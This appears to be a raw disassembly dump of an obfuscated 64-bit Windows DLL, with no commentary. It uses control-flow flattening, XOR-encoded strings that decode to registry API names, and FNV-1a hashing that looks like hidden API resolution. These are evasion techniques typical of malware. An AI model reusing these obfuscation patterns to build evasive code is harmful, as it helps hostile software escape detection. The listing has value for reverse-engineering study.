mov dl, byte [rbp + 0x168]
mov byte [rcx + 1], dl
mov dword [rbp + 0x150], 0x57
mov edx, 0x186e2405
nop word cs:[rax + rax]
nop
cmp edx, 0xbf8b13f4
je 0x180061fde
cmp edx, 0x186e2405
jne 0x180061f70
mov qword [rbp + 0x168], rax
mov edx, 0xbf8b13f4
jmp 0x180061f70
mov dl, byte [rbp + 0x168]
mov rbx, qword [rbp + 0x120]
mov byte [rbx], dl
mov rdx, qword [rbp + 0x120]
mov dword [rbp + 0x150], 0x67
mov ebx, 0x186e2405
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xbf8b13f4
je 0x18006202c
cmp ebx, 0x186e2405
jne 0x180061fc0
mov qword [rbp + 0x168], rax
mov ebx, 0xbf8b13f4
jmp 0x180061fc0
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
mov byte [rbp + 0x15c], dl
mov edx, 0x43bb9e51
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x51a8dc5d
je 0x18006206e
cmp edx, 0x43bb9e51
jne 0x180062000
movzx edx, byte [rbp + 0x15c]
mov ebx, dword [rbp + 0x150]
xor bl, dl
mov byte [rbp + 0x168], bl
mov edx, 0x51a8dc5d
jmp 0x180062000
mov rbx, qword [rbp + 0x168]
mov bl, byte [rbx]
mov byte [rbp + 0x15c], bl
mov ebx, 0x43bb9e51
cmp ebx, 0x51a8dc5d
je 0x180062097
cmp ebx, 0x43bb9e51
jne 0x180062040
movzx ebx, byte [rbp + 0x15c]
mov edi, dword [rbp + 0x150]
xor dil, bl
mov byte [rbp + 0x168], dil
mov ebx, 0x51a8dc5d
jmp 0x180062040
mov dl, byte [rbp + 0x168]
mov byte [rcx + 2], dl
add rcx, 3
mov rdx, qword [rbp + 0x138]
add rdx, 0x14
mov qword [rbp + 0x140], rdx
mov edx, 0xbc2de8cf
jmp 0x180061dd0
mov bl, byte [rbp + 0x168]
mov byte [rdx + 1], bl
mov dword [rbp + 0x150], 0x44
mov ebx, 0x186e2405
nop
cmp ebx, 0xbf8b13f4
je 0x1800620ce
cmp ebx, 0x186e2405
jne 0x1800620b0
mov qword [rbp + 0x168], rax
mov ebx, 0xbf8b13f4
jmp 0x1800620b0
mov rbx, qword [rbp + 0x168]
mov bl, byte [rbx]
mov byte [rbp + 0x15c], bl
mov ebx, 0x43bb9e51
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x51a8dc5d
je 0x18006211e
cmp ebx, 0x43bb9e51
jne 0x1800620f0
movzx ebx, byte [rbp + 0x15c]
mov edi, dword [rbp + 0x150]
xor dil, bl
mov byte [rbp + 0x168], dil
mov ebx, 0x51a8dc5d
jmp 0x1800620f0
mov bl, byte [rbp + 0x168]
mov byte [rdx + 2], bl
mov dword [rbp + 0x150], 0x65
mov ebx, 0x186e2405
nop word cs:[rax + rax]
cmp ebx, 0xbf8b13f4
je 0x18006215e
cmp ebx, 0x186e2405
jne 0x180062140
mov qword [rbp + 0x168], rax
mov ebx, 0xbf8b13f4
jmp 0x180062140
mov rbx, qword [rbp + 0x168]
mov bl, byte [rbx]
mov byte [rbp + 0x15c], bl
mov ebx, 0x43bb9e51
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x51a8dc5d
je 0x1800621ae
cmp ebx, 0x43bb9e51
jne 0x180062180
movzx ebx, byte [rbp + 0x15c]
mov edi, dword [rbp + 0x150]
xor dil, bl
mov byte [rbp + 0x168], dil
mov ebx, 0x51a8dc5d
jmp 0x180062180
mov bl, byte [rbp + 0x168]
mov byte [rdx + 3], bl
mov dword [rbp + 0x150], WSAStartup
mov ebx, 0x186e2405
nop word cs:[rax + rax]
cmp ebx, 0xbf8b13f4
je 0x1800621ee
cmp ebx, 0x186e2405
jne 0x1800621d0
mov qword [rbp + 0x168], rax
mov ebx, 0xbf8b13f4
jmp 0x1800621d0
mov rbx, qword [rbp + 0x168]
mov bl, byte [rbx]
mov byte [rbp + 0x15c], bl
mov ebx, 0x43bb9e51
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x51a8dc5d
je 0x18006223e
cmp ebx, 0x43bb9e51
jne 0x180062210
movzx ebx, byte [rbp + 0x15c]
mov edi, dword [rbp + 0x150]
xor dil, bl
mov byte [rbp + 0x168], dil
mov ebx, 0x51a8dc5d
jmp 0x180062210
mov bl, byte [rbp + 0x168]
mov byte [rdx + 4], bl
mov dword [rbp + 0x150], 0x65
mov ebx, 0x186e2405
nop word cs:[rax + rax]
cmp ebx, 0xbf8b13f4
je 0x18006227e
cmp ebx, 0x186e2405
jne 0x180062260
mov qword [rbp + 0x168], rax
mov ebx, 0xbf8b13f4
jmp 0x180062260
mov rbx, qword [rbp + 0x168]
mov bl, byte [rbx]
mov byte [rbp + 0x15c], bl
mov ebx, 0x43bb9e51
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x51a8dc5d
je 0x1800622ce
cmp ebx, 0x43bb9e51
jne 0x1800622a0
movzx ebx, byte [rbp + 0x15c]
mov edi, dword [rbp + 0x150]
xor dil, bl
mov byte [rbp + 0x168], dil
mov ebx, 0x51a8dc5d
jmp 0x1800622a0
mov bl, byte [rbp + 0x168]
mov byte [rdx + 5], bl
mov dword [rbp + 0x150], 0x74
mov ebx, 0x186e2405
nop word cs:[rax + rax]
cmp ebx, 0xbf8b13f4
je 0x18006230e
cmp ebx, 0x186e2405
jne 0x1800622f0
mov qword [rbp + 0x168], rax
mov ebx, 0xbf8b13f4
jmp 0x1800622f0
mov rbx, qword [rbp + 0x168]
mov bl, byte [rbx]
mov byte [rbp + 0x15c], bl
mov ebx, 0x43bb9e51
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x51a8dc5d
je 0x18006235e
cmp ebx, 0x43bb9e51
jne 0x180062330
movzx ebx, byte [rbp + 0x15c]
mov edi, dword [rbp + 0x150]
xor dil, bl
mov byte [rbp + 0x168], dil
mov ebx, 0x51a8dc5d
jmp 0x180062330
mov bl, byte [rbp + 0x168]
mov byte [rdx + 6], bl
mov dword [rbp + 0x150], 0x65
mov ebx, 0x186e2405
nop word cs:[rax + rax]
cmp ebx, 0xbf8b13f4
je 0x18006239e
cmp ebx, 0x186e2405
jne 0x180062380
mov qword [rbp + 0x168], rax
mov ebx, 0xbf8b13f4
jmp 0x180062380
mov rbx, qword [rbp + 0x168]
mov bl, byte [rbx]
mov byte [rbp + 0x15c], bl
mov ebx, 0x43bb9e51
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x51a8dc5d
je 0x1800623ee
cmp ebx, 0x43bb9e51
jne 0x1800623c0
movzx ebx, byte [rbp + 0x15c]
mov edi, dword [rbp + 0x150]
xor dil, bl
mov byte [rbp + 0x168], dil
mov ebx, 0x51a8dc5d
jmp 0x1800623c0
mov bl, byte [rbp + 0x168]
mov byte [rdx + 7], bl
mov dword [rbp + 0x150], 0x4b
mov ebx, 0x186e2405
nop word cs:[rax + rax]
cmp ebx, 0xbf8b13f4
je 0x18006242e
cmp ebx, 0x186e2405
jne 0x180062410
mov qword [rbp + 0x168], rax
mov ebx, 0xbf8b13f4
jmp 0x180062410
mov rbx, qword [rbp + 0x168]
mov bl, byte [rbx]
mov byte [rbp + 0x15c], bl
mov ebx, 0x43bb9e51
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x51a8dc5d
je 0x18006247e
cmp ebx, 0x43bb9e51
jne 0x180062450
movzx ebx, byte [rbp + 0x15c]
mov edi, dword [rbp + 0x150]
xor dil, bl
mov byte [rbp + 0x168], dil
mov ebx, 0x51a8dc5d
jmp 0x180062450
mov bl, byte [rbp + 0x168]
mov byte [rdx + 8], bl
mov dword [rbp + 0x150], 0x65
mov ebx, 0x186e2405
nop word cs:[rax + rax]
cmp ebx, 0xbf8b13f4
je 0x1800624be
cmp ebx, 0x186e2405
jne 0x1800624a0
mov qword [rbp + 0x168], rax
mov ebx, 0xbf8b13f4
jmp 0x1800624a0
mov rbx, qword [rbp + 0x168]
mov bl, byte [rbx]
mov byte [rbp + 0x15c], bl
mov ebx, 0x43bb9e51
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x51a8dc5d
je 0x18006250e
cmp ebx, 0x43bb9e51
jne 0x1800624e0
movzx ebx, byte [rbp + 0x15c]
mov edi, dword [rbp + 0x150]
xor dil, bl
mov byte [rbp + 0x168], dil
mov ebx, 0x51a8dc5d
jmp 0x1800624e0
mov bl, byte [rbp + 0x168]
mov byte [rdx + 9], bl
mov dword [rbp + 0x150], 0x79
mov ebx, 0x186e2405
nop word cs:[rax + rax]
cmp ebx, 0xbf8b13f4
je 0x18006254e
cmp ebx, 0x186e2405
jne 0x180062530
mov qword [rbp + 0x168], rax
mov ebx, 0xbf8b13f4
jmp 0x180062530
mov rbx, qword [rbp + 0x168]
mov bl, byte [rbx]
mov byte [rbp + 0x15c], bl
mov ebx, 0x43bb9e51
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x51a8dc5d
je 0x18006259e
cmp ebx, 0x43bb9e51
jne 0x180062570
movzx ebx, byte [rbp + 0x15c]
mov edi, dword [rbp + 0x150]
xor dil, bl
mov byte [rbp + 0x168], dil
mov ebx, 0x51a8dc5d
jmp 0x180062570
mov bl, byte [rbp + 0x168]
mov byte [rdx + 0xa], bl
mov dword [rbp + 0x150], 0x56
mov ebx, 0x186e2405
nop word cs:[rax + rax]
cmp ebx, 0xbf8b13f4
je 0x1800625de
cmp ebx, 0x186e2405
jne 0x1800625c0
mov qword [rbp + 0x168], rax
mov ebx, 0xbf8b13f4
jmp 0x1800625c0
mov rbx, qword [rbp + 0x168]
mov bl, byte [rbx]
mov byte [rbp + 0x15c], bl
mov ebx, 0x43bb9e51
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x51a8dc5d
je 0x18006262e
cmp ebx, 0x43bb9e51
jne 0x180062600
movzx ebx, byte [rbp + 0x15c]
mov edi, dword [rbp + 0x150]
xor dil, bl
mov byte [rbp + 0x168], dil
mov ebx, 0x51a8dc5d
jmp 0x180062600
mov bl, byte [rbp + 0x168]
mov byte [rdx + 0xb], bl
mov dword [rbp + 0x150], 0x61
mov ebx, 0x186e2405
nop word cs:[rax + rax]
cmp ebx, 0xbf8b13f4
je 0x18006266e
cmp ebx, 0x186e2405
jne 0x180062650
mov qword [rbp + 0x168], rax
mov ebx, 0xbf8b13f4
jmp 0x180062650
mov rbx, qword [rbp + 0x168]
mov bl, byte [rbx]
mov byte [rbp + 0x15c], bl
mov ebx, 0x43bb9e51
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x51a8dc5d
je 0x1800626be
cmp ebx, 0x43bb9e51
jne 0x180062690
movzx ebx, byte [rbp + 0x15c]
mov edi, dword [rbp + 0x150]
xor dil, bl
mov byte [rbp + 0x168], dil
mov ebx, 0x51a8dc5d
jmp 0x180062690
mov bl, byte [rbp + 0x168]
mov byte [rdx + 0xc], bl
mov dword [rbp + 0x150], WSAStartup
mov ebx, 0x186e2405
nop word cs:[rax + rax]
cmp ebx, 0xbf8b13f4
je 0x1800626fe
cmp ebx, 0x186e2405
jne 0x1800626e0
mov qword [rbp + 0x168], rax
mov ebx, 0xbf8b13f4
jmp 0x1800626e0
mov rbx, qword [rbp + 0x168]
mov bl, byte [rbx]
mov byte [rbp + 0x15c], bl
mov ebx, 0x43bb9e51
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x51a8dc5d
je 0x18006274e
cmp ebx, 0x43bb9e51
jne 0x180062720
movzx ebx, byte [rbp + 0x15c]
mov edi, dword [rbp + 0x150]
xor dil, bl
mov byte [rbp + 0x168], dil
mov ebx, 0x51a8dc5d
jmp 0x180062720
mov bl, byte [rbp + 0x168]
mov byte [rdx + 0xd], bl
add rdx, 0xe
mov qword [rbp + 0x148], rdx
mov dword [rbp + 0x150], 0x75
mov edx, 0x186e2405
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xbf8b13f4
je 0x18006279e
cmp edx, 0x186e2405
jne 0x180062780
mov qword [rbp + 0x168], rax
mov edx, 0xbf8b13f4
jmp 0x180062780
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
mov byte [rbp + 0x15c], dl
mov edx, 0x43bb9e51
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x51a8dc5d
je 0x1800627ec
cmp edx, 0x43bb9e51
jne 0x1800627c0
movzx edx, byte [rbp + 0x15c]
mov ebx, dword [rbp + 0x150]
xor bl, dl
mov byte [rbp + 0x168], bl
mov edx, 0x51a8dc5d
jmp 0x1800627c0
mov dl, byte [rbp + 0x168]
mov byte [rbp + 0x11c], dl
mov edx, 0xcb490b3c
jmp 0x180061dd0
mov ecx, dword [rbp + 0x168]
add cl, 0x65
mov byte [rax + 1], cl
add rax, 2
mov qword [rbp + 0x140], rax
mov eax, 0xe0105063
nop
cmp eax, 0xd290f35a
je 0x180062e3b
cmp eax, 0xe0105063
jne 0x180062820
mov dword [rbp + 0x168], 1
mov eax, 0xd290f35a
jmp 0x180062820
mov edx, dword [rbp + 0x140]
mov word [rcx + 4], dx
mov edx, 0xd3a0b5ba
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x10c26fb3
je 0x18006303a
cmp edx, 0xd3a0b5ba
jne 0x180062860
mov edx, 0x8ba22fa5
nop dword [rax]
cmp edx, 0x9a654cea
je 0x18006289e
cmp edx, 0x8ba22fa5
jne 0x180062880
mov qword [rbp + 0x168], rax
mov edx, 0x9a654cea
jmp 0x180062880
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
xor edx, 0x63
mov dword [rbp + 0x140], edx
mov edx, 0x10c26fb3
jmp 0x180062860
sub rsp, 0x20
lea rcx, [rbp + 0x168]
call fcn.180071590
add rsp, 0x20
mov ebx, 0x9304b30f
movabs r9, 0xcbf29ce484222325
movabs r10, 0x100000001b3
mov r11d, 0xed3b0916
jmp 0x180062910
movsxd rdi, r8d
xor rdi, qword [rbp + 0x140]
imul rdi, r10
mov esi, dword [rbp + 0x120]
add esi, 1
mov ebx, 0xc46bd60d
nop dword [rax]
cmp ebx, 0xec989664
jle 0x180062970
cmp ebx, 0xde9741a
jle 0x1800629c0
cmp ebx, 0x4040a63f
jg 0x180062a49
cmp ebx, 0xde9741b
je 0x180062b12
cmp ebx, 0x23777f42
je 0x180062b29
cmp ebx, 0x34fd6d6d
jne 0x180062910
cmp byte [rbp + 0x137], 0
mov ebx, 0xa8588bcc
cmovne ebx, r13d
jmp 0x180062910
cmp ebx, 0xb3b07733
jle 0x180062a00
cmp ebx, 0xc86312b3
jle 0x180062a7d
cmp ebx, 0xc86312b4
je 0x1800628ed
cmp ebx, 0xcaf004ba
je 0x180062b33
cmp ebx, 0xdf0d33c4
jne 0x180062910
mov ebx, 0xc46bd60d
xor esi, esi
mov rdi, r9
jmp 0x180062910
cmp ebx, 0xfa416f8f
jle 0x180062abe
cmp ebx, 0xfa416f90
je 0x180062b60
cmp ebx, 0x45d558a
je 0x180062b71
cmp ebx, 0xc942d64
jne 0x180062910
mov ebx, 0xcaf004ba
xor edx, edx
jmp 0x180062910
cmp ebx, 0xa8588bcb
jle 0x180062af0
cmp ebx, 0xa8588bcc
je 0x180062b8b
cmp ebx, 0xa94a57ae
je 0x180062b9c
cmp ebx, 0xb18d2356
jne 0x180062910
mov ecx, dword [rbp + 0x15c]
or ecx, 0x20
mov dword [rbp + 0x150], ecx
mov ebx, 0xfa416f90
jmp 0x180062910
cmp ebx, 0x4040a640
je 0x180062ba6
cmp ebx, 0x494b1080
je 0x180062bb0
cmp ebx, 0x6238ad6b
jne 0x180062910
mov ebx, 0xcaf004ba
mov edx, dword [rbp + 0x11c]
jmp 0x180062910
cmp ebx, 0xb3b07734
je 0x180062bc5
cmp ebx, 0xc46bd60d
jne 0x180062c20
mov dword [rbp + 0x120], esi
mov qword [rbp + 0x140], rdi
mov ebx, dword [rbp + 0x138]
mov ecx, dword [rbp + 0x120]
cmp ecx, ebx
mov ebx, 0xc5d9b945
cmovb ebx, r12d
jmp 0x180062910
cmp ebx, 0xec989665
je 0x180062bec
cmp ebx, 0xed3b0916
jne 0x180062910
mov ecx, dword [rbp + 0x15c]
cmp ecx, 0x5b
setl byte [rbp + 0x137]
mov ebx, 0x34fd6d6d
jmp 0x180062910
cmp ebx, 0x8051c795
je 0x180062c05
cmp ebx, 0x9304b30f
jne 0x180062910
mov ebx, 0xc942d64
jmp 0x180062910
mov ecx, dword [rbp + 0x120]
mov qword [rbp + 0x128], rcx
mov ebx, 0x8051c795
jmp 0x180062910
mov ebx, 0xdf0d33c4
jmp 0x180062910
mov dword [rbp + 0x138], edx
mov ebx, dword [rbp + 0x138]
movsx ebx, byte [rax + rbx]
mov dword [rbp + 0x118], ebx
mov ebx, dword [rbp + 0x118]
cmp ebx, 0x1f
mov ebx, 0xa94a57ae
cmovg ebx, r15d
jmp 0x180062910
mov ebx, 0xc86312b4
mov r8d, dword [rbp + 0x150]
jmp 0x180062910
mov ebx, dword [rbp + 0x118]
cmp ebx, 0x7f
setl byte [rbp + 0x117]
mov ebx, 0x494b1080
jmp 0x180062910
mov ebx, 0xc86312b4
mov r8d, dword [rbp + 0x15c]
jmp 0x180062910
mov ebx, 0x23777f42
jmp 0x180062910
mov ebx, 0x6238ad6b
jmp 0x180062910
cmp byte [rbp + 0x117], 0
mov ebx, 0xa94a57ae
cmovne ebx, r14d
jmp 0x180062910
mov rcx, qword [rbp + 0x148]
movsx ecx, byte [rcx]
mov dword [rbp + 0x15c], ecx
mov ecx, dword [rbp + 0x15c]
cmp ecx, 0x40
mov ebx, 0xa8588bcc
cmovg ebx, r11d
jmp 0x180062910
mov ebx, dword [rbp + 0x138]
add ebx, 1
mov dword [rbp + 0x11c], ebx
mov ebx, 0x4040a640
jmp 0x180062910
mov rcx, qword [rbp + 0x128]
add rcx, rax
mov qword [rbp + 0x148], rcx
mov ebx, 0xb3b07734
jmp 0x180062910
cmp ebx, 0xc5d9b945
jne 0x180062910
mov rcx, qword [rbp + 0x140]
sub rsp, 0x20
call fcn.1800ae820
add rsp, 0x20
lea rcx, [rbp + 0x190]
mov qword [rbp + 0xf8], rcx
mov rdx, qword [rbp + 0xf8]
sub rsp, 0x20
mov ecx, 0x400
call rax
add rsp, 0x20
mov rax, qword [rbp + 0xf0]
mov rax, qword [rbp + 0xf0]
mov qword [rbp + 0x120], rax
mov rcx, qword [rbp + 0x120]
mov byte [rcx], 0x33
mov rcx, qword [rbp + 0x120]
mov edx, 0x2e330328
mov esi, 0xfe1c46be
nop word cs:[rax + rax]
nop
cmp edx, 0x20b2de3f
je 0x1800630a8
cmp edx, 0x2e330328
jne 0x180062ca0
mov dword [rbp + 0x140], WSAStartup
mov qword [rbp + 0x168], rax
mov edx, 0x37f3dad5
nop word [rax + rax]
cmp edx, 0x664a1cb8
je 0x180062cf7
cmp edx, 0x37f3dad5
jne 0x180062cd0
mov rdx, qword [rbp + 0x168]
movzx edx, byte [rdx]
mov byte [rbp + 0x148], dl
mov edx, 0x664a1cb8
jmp 0x180062cd0
mov dl, byte [rbp + 0x148]
mov byte [rbp + 0x128], dl
mov edx, 0x20b2de3f
jmp 0x180062ca0
mov edx, dword [rbp + 0x148]
xor edx, dword [rbp + 0x140]
mov byte [rcx + 3], dl
mov dword [rbp + 0x148], 0xd
mov edx, 0xe27ab881
nop dword [rax + rax]
cmp edx, 0x132ec055
je 0x18006312d
cmp edx, 0xe27ab881
jne 0x180062d30
mov edx, 0x8831881a
nop dword [rax]
cmp edx, 0xebb820c6
je 0x180062d6e
cmp edx, 0x8831881a
jne 0x180062d50
mov qword [rbp + 0x168], rax
mov edx, 0xebb820c6
jmp 0x180062d50
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 3
movsx edx, dl
mov dword [rbp + 0x140], edx
mov edx, 0x132ec055
jmp 0x180062d30
mov edx, dword [rbp + 0x140]
mov word [rcx + 4], dx
mov edx, 0x2dfd4f46
nop dword [rax]
cmp edx, 0x36642f7
je 0x1800631aa
cmp edx, 0x2dfd4f46
jne 0x180062da0
mov qword [rbp + 0x168], rax
mov edx, 0x18793e71
cmp edx, 0xe895f03a
je 0x180062de8
cmp edx, 0x18793e71
jne 0x180062dc0
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x148], dx
mov edx, 0xe895f03a
jmp 0x180062dc0
movzx edx, word [rbp + 0x148]
xor edx, 0x66
mov dword [rbp + 0x140], edx
mov edx, 0x36642f7
jmp 0x180062da0
mov rcx, qword [rbp + 0xb8]
sub rsp, 0x20
call fcn.180072170
mov r11d, 0xed3b0916
movabs r10, 0x100000001b3
movabs r9, 0xcbf29ce484222325
add rsp, 0x20
mov qword [rbp - 0x70], rax
mov ecx, 0x93d35106
jmp 0x180060a65
mov eax, dword [rbp + 0x168]
add al, 0x67
mov rcx, qword [rbp + 0x140]
mov byte [rcx], al
mov eax, 0xf1660095
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp eax, 0xede6e697
je 0x18006321f
cmp eax, 0xf1660095
jne 0x180062e60
mov rax, qword [rbp + 0x140]
mov ecx, 0xe0105063
nop
cmp ecx, 0xd290f35a
je 0x180062ea1
cmp ecx, 0xe0105063
jne 0x180062e80
mov dword [rbp + 0x148], 1
mov ecx, 0xd290f35a
jmp 0x180062e80
mov ecx, dword [rbp + 0x148]
add cl, 0x4f
mov byte [rax + 1], cl
mov ecx, 0xe0105063
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd290f35a
je 0x180062ee1
cmp ecx, 0xe0105063
jne 0x180062ec0
mov dword [rbp + 0x148], 1
mov ecx, 0xd290f35a
jmp 0x180062ec0
mov ecx, dword [rbp + 0x148]
add cl, 0x70
mov byte [rax + 2], cl
mov ecx, 0xe0105063
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd290f35a
je 0x180062f21
cmp ecx, 0xe0105063
jne 0x180062f00
mov dword [rbp + 0x148], 1
mov ecx, 0xd290f35a
jmp 0x180062f00
mov ecx, dword [rbp + 0x148]
add cl, 0x65
mov byte [rax + 3], cl
mov ecx, 0xe0105063
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd290f35a
je 0x180062f61
cmp ecx, 0xe0105063
jne 0x180062f40
mov dword [rbp + 0x148], 1
mov ecx, 0xd290f35a
jmp 0x180062f40
mov ecx, dword [rbp + 0x148]
add cl, 0x6e
mov byte [rax + 4], cl
mov ecx, 0xe0105063
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd290f35a
je 0x180062fa1
cmp ecx, 0xe0105063
jne 0x180062f80
mov dword [rbp + 0x148], 1
mov ecx, 0xd290f35a
jmp 0x180062f80
mov ecx, dword [rbp + 0x148]
add cl, 0x4b
mov byte [rax + 5], cl
mov ecx, 0xe0105063
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd290f35a
je 0x180062fe1
cmp ecx, 0xe0105063
jne 0x180062fc0
mov dword [rbp + 0x148], 1
mov ecx, 0xd290f35a
jmp 0x180062fc0
mov ecx, dword [rbp + 0x148]
add cl, 0x65
mov byte [rax + 6], cl
add rax, 7
mov qword [rbp + 0x168], rax
mov eax, 0xe0105063
nop dword [rax]
cmp eax, 0xd290f35a
je 0x18006301f
cmp eax, 0xe0105063
jne 0x180063000
mov dword [rbp + 0x148], 1
mov eax, 0xd290f35a
jmp 0x180063000
mov eax, dword [rbp + 0x148]
add al, 0x79
mov rcx, qword [rbp + 0x168]
mov byte [rcx], al
mov eax, 0xede6e697
jmp 0x180062e60
mov edx, dword [rbp + 0x140]
mov word [rcx + 6], dx
mov edx, 0xd3a0b5ba
nop dword [rax]
cmp edx, 0x10c26fb3
je 0x180063255
cmp edx, 0xd3a0b5ba
jne 0x180063050
mov edx, 0x8ba22fa5
nop dword [rax]
cmp edx, 0x9a654cea
je 0x18006308e
cmp edx, 0x8ba22fa5
jne 0x180063070
mov qword [rbp + 0x168], rax
mov edx, 0x9a654cea
jmp 0x180063070
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
xor edx, 0x68
mov dword [rbp + 0x140], edx
mov edx, 0x10c26fb3
jmp 0x180063050
mov dl, byte [rbp + 0x128]
mov ebx, dword [rbp + 0x140]
xor bl, dl
mov byte [rcx + 1], bl
mov edx, 0x2e330328
nop
cmp edx, 0x20b2de3f
je 0x1800632c8
cmp edx, 0x2e330328
jne 0x1800630c0
mov dword [rbp + 0x140], reloc.WS2_32.dll_WSAStartup
mov qword [rbp + 0x168], rax
mov edx, 0x37f3dad5
nop word [rax + rax]
cmp edx, 0x664a1cb8
je 0x180063117
cmp edx, 0x37f3dad5
jne 0x1800630f0
mov rdx, qword [rbp + 0x168]
movzx edx, byte [rdx]
mov byte [rbp + 0x148], dl
mov edx, 0x664a1cb8
jmp 0x1800630f0
mov dl, byte [rbp + 0x148]
add dl, 1
mov byte [rbp + 0x128], dl
mov edx, 0x20b2de3f
jmp 0x1800630c0
mov edx, dword [rbp + 0x148]
xor edx, dword [rbp + 0x140]
mov byte [rcx + 4], dl
mov dword [rbp + 0x148], 0xa
mov edx, 0xe27ab881
nop dword [rax + rax]
cmp edx, 0x132ec055
je 0x18006335d
cmp edx, 0xe27ab881
jne 0x180063150
mov edx, 0x8831881a
nop dword [rax]
cmp edx, 0xebb820c6
je 0x18006318e
cmp edx, 0x8831881a
jne 0x180063170
mov qword [rbp + 0x168], rax
mov edx, 0xebb820c6
jmp 0x180063170
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 4
movsx edx, dl
mov dword [rbp + 0x140], edx
mov edx, 0x132ec055
jmp 0x180063150
mov edx, dword [rbp + 0x140]
mov word [rcx + 6], dx
mov edx, 0x2dfd4f46
nop dword [rax]
cmp edx, 0x36642f7
je 0x1800633da
cmp edx, 0x2dfd4f46
jne 0x1800631c0
mov qword [rbp + 0x168], rax
mov edx, 0x18793e71
cmp edx, 0xe895f03a
je 0x180063208
cmp edx, 0x18793e71
jne 0x1800631e0
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x148], dx
mov edx, 0xe895f03a
jmp 0x1800631e0
movzx edx, word [rbp + 0x148]
xor edx, 0x74
mov dword [rbp + 0x140], edx
mov edx, 0x36642f7
jmp 0x1800631c0
mov rax, qword [rbp + 0x168]
mov ecx, 0xe0105063
nop dword [rax + rax]
cmp ecx, 0xd290f35a
je 0x18006344f
cmp ecx, 0xe0105063
jne 0x180063230
mov dword [rbp + 0x148], 1
mov ecx, 0xd290f35a
jmp 0x180063230
mov edx, dword [rbp + 0x140]
mov word [rcx + 8], dx
mov edx, 0xd3a0b5ba
nop word cs:[rax + rax]
nop
cmp edx, 0x10c26fb3
je 0x180063485
cmp edx, 0xd3a0b5ba
jne 0x180063270
mov edx, 0x8ba22fa5
nop dword [rax]
cmp edx, 0x9a654cea
je 0x1800632ae
cmp edx, 0x8ba22fa5
jne 0x180063290
mov qword [rbp + 0x168], rax
mov edx, 0x9a654cea
jmp 0x180063290
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
xor edx, 0x65
mov dword [rbp + 0x140], edx
mov edx, 0x10c26fb3
jmp 0x180063270
mov dl, byte [rbp + 0x128]
mov ebx, dword [rbp + 0x140]
xor bl, dl
mov byte [rcx + 2], bl
add rcx, 3
mov qword [rbp + 0x128], rcx
mov ecx, 0x2e330328
nop dword [rax]
cmp ecx, 0x20b2de3f
je 0x180063649
cmp ecx, 0x2e330328
jne 0x1800632f0
mov dword [rbp + 0x140], 0x62
mov qword [rbp + 0x168], rax
mov ecx, 0x37f3dad5
nop word [rax + rax]
cmp ecx, 0x664a1cb8
je 0x180063347
cmp ecx, 0x37f3dad5
jne 0x180063320
mov rcx, qword [rbp + 0x168]
movzx ecx, byte [rcx]
mov byte [rbp + 0x148], cl
mov ecx, 0x664a1cb8
jmp 0x180063320
mov cl, byte [rbp + 0x148]
add cl, 2
mov byte [rbp + 0x138], cl
mov ecx, 0x20b2de3f
jmp 0x1800632f0
mov edx, dword [rbp + 0x148]
xor edx, dword [rbp + 0x140]
mov byte [rcx + 5], dl
mov dword [rbp + 0x148], 0x64
mov edx, 0xe27ab881
nop dword [rax + rax]
cmp edx, 0x132ec055
je 0x180063b7c
cmp edx, 0xe27ab881
jne 0x180063380
mov edx, 0x8831881a
nop dword [rax]
cmp edx, 0xebb820c6
je 0x1800633be
cmp edx, 0x8831881a
jne 0x1800633a0
mov qword [rbp + 0x168], rax
mov edx, 0xebb820c6
jmp 0x1800633a0
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 5
movsx edx, dl
mov dword [rbp + 0x140], edx
mov edx, 0x132ec055
jmp 0x180063380
mov edx, dword [rbp + 0x140]
mov word [rcx + 8], dx
mov edx, 0x2dfd4f46
nop dword [rax]
cmp edx, 0x36642f7
je 0x180063bfa
cmp edx, 0x2dfd4f46
jne 0x1800633f0
mov qword [rbp + 0x168], rax
mov edx, 0x18793e71
cmp edx, 0xe895f03a
je 0x180063438
cmp edx, 0x18793e71
jne 0x180063410
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x148], dx
mov edx, 0xe895f03a
jmp 0x180063410
movzx edx, word [rbp + 0x148]
xor edx, 0x77
mov dword [rbp + 0x140], edx
mov edx, 0x36642f7
jmp 0x1800633f0
mov ecx, dword [rbp + 0x148]
add cl, 0x45
mov byte [rax + 1], cl
mov ecx, 0xe0105063
cmp ecx, 0xd290f35a
je 0x180063c6f
cmp ecx, 0xe0105063
jne 0x180063460
mov dword [rbp + 0x148], 1
mov ecx, 0xd290f35a
jmp 0x180063460
mov edx, dword [rbp + 0x140]
